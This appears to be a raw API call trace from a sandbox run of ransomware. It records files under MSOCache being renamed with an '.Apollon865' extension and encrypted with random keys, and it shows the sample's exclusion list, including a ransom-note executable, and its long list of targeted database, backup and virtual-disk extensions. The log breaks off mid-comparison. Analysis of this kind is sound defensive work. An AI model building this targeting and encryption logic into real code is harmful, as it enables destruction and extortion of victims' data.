	[0077.566] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".sys") returned 1
	[0077.566] lstrlenW (lpString="PrjProrWW.xml") returned 13
	[0077.567] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.Apollon865") returned 87
	[0077.567] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.568] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6421) returned 1
	[0077.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfde8
	[0077.568] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfe70) returned 1
	[0077.569] CryptGenRandom (in: hProv=0x5bfe70, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.569] CryptReleaseContext (hProv=0x5bfe70, dwFlags=0x0) returned 1
	[0077.569] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c20, lpName=0x0) returned 0x118
	[0077.571] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c20) returned 0x100000
	[0077.572] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfe70) returned 1
	[0077.572] CryptGenRandom (in: hProv=0x5bfe70, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.572] CryptReleaseContext (hProv=0x5bfe70, dwFlags=0x0) returned 1
	[0077.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.573] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.573] CloseHandle (hObject=0x118) returned 1
	[0077.573] CloseHandle (hObject=0x15c) returned 1
	[0077.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0077.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.573] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1
	[0077.573] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.573] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="Apollon865.txt.exe") returned 1
	[0077.573] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".") returned 1
	[0077.573] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="..") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="windows") returned -1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="bootmgr") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="temp") returned -1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="pagefile.sys") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="boot") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="ids.txt") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="ntuser.dat") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="perflogs") returned 1
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="MSBuild") returned 1
	[0077.574] lstrlenW (lpString="PrjPrrWW.cab") returned 12
	[0077.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0077.574] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PrjPrrWW.cab" | out: lpString1="PrjPrrWW.cab") returned="PrjPrrWW.cab"
	[0077.574] lstrlenW (lpString="PrjPrrWW.cab") returned 12
	[0077.574] lstrlenW (lpString="Apollon865") returned 10
	[0077.574] lstrcmpiW (lpString1="jPrrWW.cab", lpString2="Apollon865") returned 1
	[0077.574] lstrlenW (lpString=".dll") returned 4
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".dll") returned 1
	[0077.574] lstrlenW (lpString=".lnk") returned 4
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".lnk") returned 1
	[0077.574] lstrlenW (lpString=".ini") returned 4
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".ini") returned 1
	[0077.574] lstrlenW (lpString=".sys") returned 4
	[0077.574] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".sys") returned 1
	[0077.574] lstrlenW (lpString="PrjPrrWW.cab") returned 12
	[0077.574] lstrlenW (lpString="bak") returned 3
	[0077.574] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0077.574] lstrlenW (lpString="ba_") returned 3
	[0077.574] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0077.574] lstrlenW (lpString="dbb") returned 3
	[0077.574] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0077.574] lstrlenW (lpString="vmdk") returned 4
	[0077.574] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0077.574] lstrlenW (lpString="rar") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0077.575] lstrlenW (lpString="zip") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0077.575] lstrlenW (lpString="tgz") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0077.575] lstrlenW (lpString="vbox") returned 4
	[0077.575] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0077.575] lstrlenW (lpString="vdi") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0077.575] lstrlenW (lpString="vhd") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0077.575] lstrlenW (lpString="vhdx") returned 4
	[0077.575] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0077.575] lstrlenW (lpString="avhd") returned 4
	[0077.575] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0077.575] lstrlenW (lpString="db") returned 2
	[0077.575] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0077.575] lstrlenW (lpString="db2") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0077.575] lstrlenW (lpString="db3") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0077.575] lstrlenW (lpString="dbf") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0077.575] lstrlenW (lpString="mdf") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0077.575] lstrlenW (lpString="mdb") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0077.575] lstrlenW (lpString="sql") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0077.575] lstrlenW (lpString="sqlite") returned 6
	[0077.575] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1
	[0077.575] lstrlenW (lpString="sqlite3") returned 7
	[0077.575] lstrcmpiW (lpString1="rWW.cab", lpString2="sqlite3") returned -1
	[0077.575] lstrlenW (lpString="sqlitedb") returned 8
	[0077.575] lstrcmpiW (lpString1="rrWW.cab", lpString2="sqlitedb") returned -1
	[0077.575] lstrlenW (lpString="xml") returned 3
	[0077.575] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0077.575] lstrlenW (lpString="$er") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0077.576] lstrlenW (lpString="4dd") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0077.576] lstrlenW (lpString="4dl") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0077.576] lstrlenW (lpString="^^^") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0077.576] lstrlenW (lpString="abs") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0077.576] lstrlenW (lpString="abx") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0077.576] lstrlenW (lpString="accdb") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1
	[0077.576] lstrlenW (lpString="accdc") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1
	[0077.576] lstrlenW (lpString="accde") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1
	[0077.576] lstrlenW (lpString="accdr") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1
	[0077.576] lstrlenW (lpString="accdt") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1
	[0077.576] lstrlenW (lpString="accdw") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1
	[0077.576] lstrlenW (lpString="accft") returned 5
	[0077.576] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1
	[0077.576] lstrlenW (lpString="adb") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.576] lstrlenW (lpString="adb") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.576] lstrlenW (lpString="ade") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0077.576] lstrlenW (lpString="adf") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0077.576] lstrlenW (lpString="adn") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0077.576] lstrlenW (lpString="adp") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0077.576] lstrlenW (lpString="alf") returned 3
	[0077.576] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0077.577] lstrlenW (lpString="ask") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0077.577] lstrlenW (lpString="btr") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0077.577] lstrlenW (lpString="cat") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0077.577] lstrlenW (lpString="cdb") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0077.577] lstrlenW (lpString="ckp") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0077.577] lstrlenW (lpString="cma") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0077.577] lstrlenW (lpString="cpd") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0077.577] lstrlenW (lpString="dacpac") returned 6
	[0077.577] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1
	[0077.577] lstrlenW (lpString="dad") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0077.577] lstrlenW (lpString="dadiagrams") returned 10
	[0077.577] lstrcmpiW (lpString1="jPrrWW.cab", lpString2="dadiagrams") returned 1
	[0077.577] lstrlenW (lpString="daschema") returned 8
	[0077.577] lstrcmpiW (lpString1="rrWW.cab", lpString2="daschema") returned 1
	[0077.577] lstrlenW (lpString="db-journal") returned 10
	[0077.577] lstrcmpiW (lpString1="jPrrWW.cab", lpString2="db-journal") returned 1
	[0077.577] lstrlenW (lpString="db-shm") returned 6
	[0077.577] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1
	[0077.577] lstrlenW (lpString="db-wal") returned 6
	[0077.577] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1
	[0077.577] lstrlenW (lpString="dbc") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0077.577] lstrlenW (lpString="dbs") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0077.577] lstrlenW (lpString="dbt") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0077.577] lstrlenW (lpString="dbv") returned 3
	[0077.577] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0077.578] lstrlenW (lpString="dbx") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0077.578] lstrlenW (lpString="dcb") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0077.578] lstrlenW (lpString="dct") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0077.578] lstrlenW (lpString="dcx") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0077.578] lstrlenW (lpString="ddl") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0077.578] lstrlenW (lpString="dlis") returned 4
	[0077.578] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0077.578] lstrlenW (lpString="dp1") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0077.578] lstrlenW (lpString="dqy") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0077.578] lstrlenW (lpString="dsk") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0077.578] lstrlenW (lpString="dsn") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0077.578] lstrlenW (lpString="dtsx") returned 4
	[0077.578] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0077.578] lstrlenW (lpString="dxl") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0077.578] lstrlenW (lpString="eco") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0077.578] lstrlenW (lpString="ecx") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0077.578] lstrlenW (lpString="edb") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0077.578] lstrlenW (lpString="epim") returned 4
	[0077.578] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0077.578] lstrlenW (lpString="fcd") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0077.578] lstrlenW (lpString="fdb") returned 3
	[0077.578] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0077.578] lstrlenW (lpString="fic") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0077.579] lstrlenW (lpString="flexolibrary") returned 12
	[0077.579] lstrlenW (lpString="fm5") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0077.579] lstrlenW (lpString="fmp") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0077.579] lstrlenW (lpString="fmp12") returned 5
	[0077.579] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1
	[0077.579] lstrlenW (lpString="fmpsl") returned 5
	[0077.579] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1
	[0077.579] lstrlenW (lpString="fol") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0077.579] lstrlenW (lpString="fp3") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0077.579] lstrlenW (lpString="fp4") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0077.579] lstrlenW (lpString="fp5") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0077.579] lstrlenW (lpString="fp7") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0077.579] lstrlenW (lpString="fpt") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0077.579] lstrlenW (lpString="frm") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0077.579] lstrlenW (lpString="gdb") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0077.579] lstrlenW (lpString="gdb") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0077.579] lstrlenW (lpString="grdb") returned 4
	[0077.579] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0077.579] lstrlenW (lpString="gwi") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0077.579] lstrlenW (lpString="hdb") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0077.579] lstrlenW (lpString="his") returned 3
	[0077.579] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0077.579] lstrlenW (lpString="ib") returned 2
	[0077.579] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0077.580] lstrlenW (lpString="idb") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0077.580] lstrlenW (lpString="ihx") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0077.580] lstrlenW (lpString="itdb") returned 4
	[0077.580] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0077.580] lstrlenW (lpString="itw") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0077.580] lstrlenW (lpString="jet") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0077.580] lstrlenW (lpString="jtx") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0077.580] lstrlenW (lpString="kdb") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0077.580] lstrlenW (lpString="kexi") returned 4
	[0077.580] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0077.580] lstrlenW (lpString="kexic") returned 5
	[0077.580] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1
	[0077.580] lstrlenW (lpString="kexis") returned 5
	[0077.580] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1
	[0077.580] lstrlenW (lpString="lgc") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0077.580] lstrlenW (lpString="lwx") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0077.580] lstrlenW (lpString="maf") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0077.580] lstrlenW (lpString="maq") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0077.580] lstrlenW (lpString="mar") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0077.580] lstrlenW (lpString="marshal") returned 7
	[0077.580] lstrcmpiW (lpString1="rWW.cab", lpString2="marshal") returned 1
	[0077.580] lstrlenW (lpString="mas") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0077.580] lstrlenW (lpString="mav") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0077.580] lstrlenW (lpString="maw") returned 3
	[0077.580] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0077.581] lstrlenW (lpString="mdbhtml") returned 7
	[0077.581] lstrcmpiW (lpString1="rWW.cab", lpString2="mdbhtml") returned 1
	[0077.581] lstrlenW (lpString="mdn") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0077.581] lstrlenW (lpString="mdt") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0077.581] lstrlenW (lpString="mfd") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0077.581] lstrlenW (lpString="mpd") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0077.581] lstrlenW (lpString="mrg") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0077.581] lstrlenW (lpString="mud") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0077.581] lstrlenW (lpString="mwb") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0077.581] lstrlenW (lpString="myd") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0077.581] lstrlenW (lpString="ndf") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0077.581] lstrlenW (lpString="nnt") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0077.581] lstrlenW (lpString="nrmlib") returned 6
	[0077.581] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1
	[0077.581] lstrlenW (lpString="ns2") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0077.581] lstrlenW (lpString="ns3") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0077.581] lstrlenW (lpString="ns4") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0077.581] lstrlenW (lpString="nsf") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0077.581] lstrlenW (lpString="nv") returned 2
	[0077.581] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0077.581] lstrlenW (lpString="nv2") returned 3
	[0077.581] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0077.582] lstrlenW (lpString="nwdb") returned 4
	[0077.582] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0077.582] lstrlenW (lpString="nyf") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0077.582] lstrlenW (lpString="odb") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0077.582] lstrlenW (lpString="odb") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0077.582] lstrlenW (lpString="oqy") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0077.582] lstrlenW (lpString="ora") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0077.582] lstrlenW (lpString="orx") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0077.582] lstrlenW (lpString="owc") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0077.582] lstrlenW (lpString="p96") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0077.582] lstrlenW (lpString="p97") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0077.582] lstrlenW (lpString="pan") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0077.582] lstrlenW (lpString="pdb") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0077.582] lstrlenW (lpString="pdm") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0077.582] lstrlenW (lpString="pnz") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0077.582] lstrlenW (lpString="qry") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0077.582] lstrlenW (lpString="qvd") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0077.582] lstrlenW (lpString="rbf") returned 3
	[0077.582] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0077.582] lstrlenW (lpString="rctd") returned 4
	[0077.582] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0077.582] lstrlenW (lpString="rod") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0077.583] lstrlenW (lpString="rodx") returned 4
	[0077.583] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0077.583] lstrlenW (lpString="rpd") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0077.583] lstrlenW (lpString="rsd") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0077.583] lstrlenW (lpString="sas7bdat") returned 8
	[0077.583] lstrcmpiW (lpString1="rrWW.cab", lpString2="sas7bdat") returned -1
	[0077.583] lstrlenW (lpString="sbf") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0077.583] lstrlenW (lpString="scx") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0077.583] lstrlenW (lpString="sdb") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0077.583] lstrlenW (lpString="sdc") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0077.583] lstrlenW (lpString="sdf") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0077.583] lstrlenW (lpString="sis") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0077.583] lstrlenW (lpString="spq") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0077.583] lstrlenW (lpString="te") returned 2
	[0077.583] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0077.583] lstrlenW (lpString="teacher") returned 7
